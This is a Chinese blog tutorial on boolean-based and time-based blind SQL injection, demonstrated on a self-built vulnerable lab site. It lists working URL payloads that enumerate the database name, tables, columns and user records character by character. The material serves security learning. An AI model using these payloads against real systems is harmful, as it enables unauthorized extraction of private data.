布尔盲注
概念
什么情况下 使⽤布尔盲注
当改变浏览器传给后台SQL的参数后,浏览器没有显示对应内容也没有显示报错信息时,⽆法使⽤union联合查询注⼊与报错注⼊,这时候可以试试看能否使⽤布尔注入
使⽤条件
⼀般情况下,当带⼊参数为真和假时,⻚⾯会有不同的反映,⽐如有⽆显示也是⼀种不同,布尔盲注就是根据这种不同来反推我们输⼊的条件是真还是假
实战案例(自己搭建一个具有SQL漏洞的靶场)
1.判断是否存在布尔注⼊
使⽤布尔条件,绕过真假不同条件的时候,⻚⾯有变化,可以考虑使⽤布尔注⼊注意:这⾥使⽤union或报错注⼊会更容易,这⾥只是通过案例学习
在浏览器链接中拼接
?id=2 and 1=1
?id=2 and 1=2

发现可以用and进行拼接显示,在union注入和报错注入不管用是考虑布尔盲注
2.获得数据库名
a.获得数据库名字⻓度
?id=1 and length(database())<5
?id=1 and length(database())>2
?id=1 and length(database())=4
一步步尝试发现数据库名长度为4

b.获得数据库的名字
可以使⽤ASCII码,甄别出数据库每⼀个字符只关心图形 对应 ⼗进制

数据库的名字⼀般都是 a-z,A-Z 组成,也可能出现数字、下划线等字符,但现在已知⻓度为4
?id=1 and ascii(substr(database(),1,1))<123 #122为z
?id=1 and ascii(substr(database(),1,1))>64 #65为A
?id=1 and ascii(substr(database(),1,1))>100 #true 可显示
?id=1 and ascii(substr(database(),1,1))>110 #false 不可显示
?id=1 and ascii(substr(database(),1,1))=106 #j
--
同样⽅法:判断 第⼆个字符,第三个字符,第四个字符
?id=1 and ascii(substr(database(),2,1))=114 #r
?id=1 and ascii(substr(database(),3,1))=108 #l
?id=1 and ascii(substr(database(),4,1))=116 #t
获得数据库的名字为 jrlt
验证
?id=1 and database()='jrlt'
?id=1 and 1=1?id=1 and 1=2

成功回显说明数据库名确实是jrlt
3.获得数据库有哪些表
a.获得数据库的表个数
⼀步步尝试,要极具考验耐⼼ 注:sql语句中间一定不能有换行
?id=1 and (select count(table_name) from information_schema.tables where table_schema = database())<5
?id=1 and (select count(table_name) from information_schema.tables where table_schema = database())<2
?id=1 and (select count(table_name) from information_schema.tables where table_schema = database())=2
| 语句片段 | 作用 |
|---|---|
count(table_name) | 统计满足条件的表名数量 |
information_schema.tables | MySQL 系统表,存储所有数据库的表信息 |
table_schema=database() | 限定只查询当前注入数据库的表(避免查所有库) |
=2 | 验证表的总数是否为 2(可根据实际情况修改数字) |
--+/# | 注释符,截断 SQL 语句后续内容,避免语法错误 |

不断尝试正常回显,说明jrlt数据库有两个表
b.获得某个表的⻓度
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))<10
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))<5
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) = 8
| 部分 | 作用 |
|---|---|
limit 0,1 | 只取第一个表名(0是起始位置,1是取 1 条),避免子查询返回多行报错 |
length(...) = 8 | 判断这个表名的字符长度是否等于 8 |
table_schema=database() | 只查当前注入的数据库,不查其他库的表 |
--+/# | 注释掉 SQL 语句后面的内容,防止原语句的其他部分干扰语法 |
不断尝试发现第一个数据库表的长度是8
c.获得某个表名称
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<100
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<120
# 获取 第⼀张表 的 第⼀个字符 为:m
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=109
# 获取 第⼀张表 的 第⼀个字符 为:m
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=101
# 获取 第【⼆】张表 的 第⼀个字符为:u
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),1,1))=117
......
| 注入语句 | 作用 | 结果 |
|---|---|---|
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<100 | 第一个字符 ASCII 码 < 100? | 否(页面异常) |
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<120 | 第一个字符 ASCII 码 < 120? | 是(页面正常) |
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=109 | 第一个字符 ASCII=109? | 是 → 字符m |
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=101 | 第二个字符 ASCII=101? | 是 → 字符e |
| (依次爆破后续字符) | 第 3-8 位:s,s,a,g,e,s | 最终表名:messages |

依次获得第⼀个表为messages,同理获得第⼆表为users
4.获得表有哪些字段
a.获得user表列数
⼀步步尝试,要极具考验耐⼼
?id=1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=5
| 语句片段 | 作用 |
|---|---|
count(column_name) | 统计users表的字段总数 |
information_schema.columns | MySQL 系统表,存储所有表的字段信息 |
table_name='users' | 限定只查询users表的字段(关键条件) |
=5 | 验证字段数量是否为 5(可根据页面响应修改数字) |

⼀步步测试,获得users表有5个字段
b.获得第⼀个字段的⻓度
?id=1 and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))<10
?id=1 and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))<1
?id=1 and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2
| 语句片段 | 作用 |
|---|---|
limit 0,1 | 取users表的第一个字段(0 是起始位置,1 是取 1 条) |
length(...) = 2 | 判断该字段名的字符长度是否为 2(比如id、no等) |
table_name='users' | 严格限定只查users表的字段,避免查错表 |

成功回显说明users第一个字段的长度是2
c.获得第⼀个字段的名
从第⼀个字段的,第⼀个字符开始判断(很多重复步骤及其考验耐心)
?id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))<100
?id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))<110
?id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105
# 第⼀个字段的第⼀个字符为:i
?id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),2,1))=100
# 第⼀个字段的第⼆个字符为:d

正常回显,获得第⼀个字段的名称是id,同理可以获得其他字段name,password,photo,money
5.获得字段的真实内容
a.获得user字段第⼀⾏数据的内容长
?id=1 and (select LENGTH(name) from users LIMIT 1,2)<5 # ⽆显示
?id=1 and (select LENGTH(name) from users LIMIT 1,2)=3 # fan等于3个字符⻓度

limit限制了查询第二个用户
正常回显说明第二个用户名的长度为3
b.获得user字段第⼀⾏数据第⼀个字符内
?id=1 and ascii(substr((select name from users limit 2,3),1,1))=102 # f
?id=1 and ascii(substr((select name from users limit 2,3),2,1))=97 # a

最终数据为fan
延时盲注
简介
概念
什么情况下 使⽤:也称延时注⼊、时间注⼊等,这种注⼊⽅式在传给后台的参数中,设置了⼀个if语句,当条件为真时执行sleep语句,条件为假时⽆执⾏语句,然后根据浏览器的响应时间来推测sleep语句是否被执行,进⽽推测if条件是否为真(睡觉为真,不睡觉则为假)
延时盲注与布尔盲注的核⼼思想都是通过浏览器两种不同的响应来推测输⼊的条件的真假,布尔盲注是条件真假时⻚⾯会有不同显示,延时盲注则是显示结果真假只能从响应时间上进⾏推测
使用条件
union,报错、布尔等搞不定的时候才考虑,效率极低
1.判断是延迟注⼊点
从睡和不睡 证明延时注⼊是存在的
?id=1 and sleep(5) # F12 查看,每次访问 都睡了 5秒多钟
?id=-1 and sleep(5) # F12 查看,每次访问 都没有怎么睡

看右下角的回显时间说明睡了5秒再进行响应,说明存在延迟注入点
2.获得数据库名字
a.获得数据库名字⻓
睡了 代表是正确的, 没有睡 代表是错误的
?id=1 and if(length(database())<10,sleep(5),1) # 睡了 代表 在10之内的⻓度
?id=1 and if(length(database())<3,sleep(5),1) # 没有睡 代表 是 错误的
?id=1 and if(length(database())=4,sleep(5),1) # 睡了 代表 获得⻓度为4
b.获得数据库名第⼀个字符
睡了 代表是正确的, 没有睡 代表是错误的
?id=1 and if(ascii(substr(database(),1,1))=106,sleep(5),1) #j 睡了 对的
?id=1 and if(ascii(substr(database(),2,1))=114,sleep(5),1) #r 睡了 对的
?id=1 and if(ascii(substr(database(),3,1))=108,sleep(5),1) #l 睡了 对的
?id=1 and if(ascii(substr(database(),4,1))=116,sleep(5),1) #t 睡了 对的
?id=1 and if(ascii(substr(database(),4,1))=556,sleep(5),1) #乱写的556 没有睡 错的
得到数据库的名称为:jrlt
3.获得表名
?id=1 and if(ascii(substr((select table_name from information_schema.table
s where table_schema =database() limit 0,1),1,1))=109,sleep(5),1) //m
睡了 对的
?id=1 and if(ascii(substr((select table_name from information_schema.table
s where table_schema =database() limit 0,1),2,1))=101,sleep(5),1) //e
睡了 对的
?id=1 and if(ascii(substr((select table_name from information_schema.table
s where table_schema =database() limit 0,1),3,1))=115,sleep(5),1) //s
睡了 对的
?id=1 and if(ascii(substr((select table_name from information_schema.table
s where table_schema =database() limit 0,1),4,1))=115,sleep(5),1) //s
睡了 对的
?id=1 and if(ascii(substr((select table_name from information_schema.table
s where table_schema =database() limit 0,1),5,1))=97,sleep(5),1) //a
睡了 对的
?id=1 and if(ascii(substr((select table_name from information_schema.table
s where table_schema =database() limit 0,1),6,1))=103,sleep(5),1) //g
睡了 对的
?id=1 and if(ascii(substr((select table_name from information_schema.table
s where table_schema =database() limit 0,1),7,1))=101,sleep(5),1) //e
睡了 对的
?id=1 and if(ascii(substr((select table_name from information_schema.table
s where table_schema =database() limit 0,1),8,1))=115,sleep(5),1) //s
睡了 对的
第一个表名为messages
4.获得表的字段名
?id=1 and if(ascii(substr((select column_name from information_schema.colum
ns where table_name = 'users' limit 0,1),1,1))=105,sleep(5),1) //i 睡
了 对的
?id=1 and if(ascii(substr((select column_name from information_schema.colum
ns where table_name = 'users' limit 0,1),2,1))=100,sleep(5),1) //d 睡了 对的
字段名为id
5.获得users表的第3⾏name字段的数据
?id=1 and if(ascii(substr((select name from users limit 2,3),1,1))=102,slee
p(5),1) // f
?id=1 and if(ascii(substr((select name from users limit 2,3),2,1))=97,slee
p(5),1) // a
?id=1 and if(ascii(substr((select name from users limit 2,3),3,1))=110,slee
p(5),1) // n

最终数据为fan
1911



被折叠的 条评论
为什么被折叠?



